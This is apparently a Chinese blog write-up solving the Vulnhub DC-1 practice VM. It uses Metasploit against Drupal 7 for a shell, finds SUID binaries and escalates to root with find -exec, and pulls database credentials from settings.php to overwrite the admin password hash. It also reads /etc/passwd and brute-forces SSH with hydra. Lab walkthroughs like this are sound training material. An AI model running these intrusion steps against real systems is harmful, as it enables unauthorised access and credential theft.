zoukankan      html  css  js  c++  java
  • Vulnhub实战靶场:DC-1

    安装配置

    DC靶场1-9下载链接
    链接:https://pan.baidu.com/s/1a5xbx60waiS4uYpkCA8pOA 
    提取码:tx2j 

    下载之后解压,直接双击用VM打开。

    DC靶机设置网卡为NAT。同时kail也设置为NAT。

    直接启动DC靶机就好了,启动时所有选项均勾选“是”

    靶场攻略

    信息收集

    arp-scan -l    查看局域网内存活的主机

     发现192.168.131.142主机存活

    对其所有端口进行扫描
    nmap -p- 192.168.131.142

    有四个端口开放

     我们先访问80端口  http://192.168.131.142:80

     发现是一个可以访问的web网页。

    利用火狐插件(Wappalyzer)直接可以看到该靶场相关指纹

     我们也可以借助kail的whatweb工具进行相关指纹收集

    whatweb http://192.168.131.142/

     根据上面的信息收集,我们可以知道该靶场的相关指纹。

    CMS:Drupal 7
    中间件:apache 2.2.22
    PHP 5.4.45

    我们先用MSF看一下CMS有没有公布的漏洞

    输入命令  search Drupal
    搜索到了相关可以利用的exp

     可以看出最新的是一个APi注入,我们尝试使用一些最新的漏洞利用。

    我们直接输入命令  use 4  进入模块

    进入模块之后,查看需要设置的相关参数

    show options

     从上图可以看出我们只需要设置rhost参数就可以了

    set rhost 192.168.131.142

    启动攻击,成功getshell

    输入命令:
    shell
    python -c 'import pty;pty.spawn("/bin/bash")',  获取以python作为伪终端的交互shell

    输入 whoami  查看当前权限

     输入 ls -l 查看当前文件夹的文件列表

    扩展---利用find直接获取flag4

    find / -type f -perm -u=s 2>/dev/null  查看拥有suid权限的文件

    发现find命令有suid权限

    建立一个文件供find命令使用,也可以使用已经存在的文件。

    find 123 -exec "whoami" ;

     

    发现是root权限

    这样的话,我们可以使用find命令进行提权。

    find 123 -exec "/bin/sh" ;

    直接获取flag4

    cat /home/flag4/flag4.txt

    获取flag1

    查看flag1

     好像有提示,跟CMS的配置文件有关

    百度了一下,drupal的数据库配置文件在 /sites/default/settings.php

     

     发现目标文件

    cat settings.php    查看该文件

    发现flag2

    发现该靶机的数据库密码

    mysql -udbuser -pR0ck3t

    登录数据库成功

    use drupaldb;   进入drupaldb数据库
    show tables;  查看数据库的所有表

    发现users表

    select * from users;  查询users表中相关信息

     发现管理员密码

    这里我们破解admin 用户密码要耗费时间,我们可以考虑重置admin 用户密码

    百度之后,发现drupal 自带脚本重新生成密码

    重置管理员密码

    退出数据库,并进入到脚本所在/var/www目录

    php scripts/password-hash.sh admin
    ./scripts/password-hash.sh admin

    再次进入数据库  mysql -udbuser -pR0ck3t

    更新管理员密码为admin

    update drupaldb.users set pass="$S$D9/EB/sN8TEfNaCZ74SqGVO0xxuOe/8fZI3LCOMVXSOqiqfNDwDt" where name='admin';

    登录后台

    拿到flag3

     提示passwd,我就只想到了/etc/passwd

    cat /etc/passwd

     通过查看/etc/passwd

    发现flag4用户存在家目录,是可以登录的

    但是我们不知道密码,可以尝试爆破。

    hydra -l flag4 -P /usr/share/john/password.lst 192.168.131.142 ssh -vV -f -o hydra.ssh

    使用ssh连接时出现错误

     需要把   PermitRootLogin  注释掉

    ssh flag4@192.168.131.142

    输入密码  orange 登录成功

     获取flag4

     登录成功之后,但我们不是root权限

    提权

     利用find提权

    find / -type f -perm -u=s 2>/dev/null    查看具有suid权限的文件

    发现find命令具有suid权限

    随便建一个文件,供给find查询使用

    查询一下find命令的权限

    find 123 -exec "whoami" ;

     发现find具有root权限

    find 123 -exec "/bin/sh" ;

    提权成功

     flag5

    flage5在root目录下。我忘记上图了

  • 相关阅读:
    native和webview切换
    appium API接口
    appium自动化测试之UIautomatorviewer元素定位
    appium的兼容问题
    adb常用命令
    java include包含指令例子
    设备与设备之间 的数据传输
    sitecore(keyvaluelanguage)的灵活应用
    java eclipse 连接数据库全过程
    java1200例-文字的探照灯效果
  • 原文地址:https://www.cnblogs.com/Xshun-z/p/14057119.html
Copyright © 2011-2022 走看看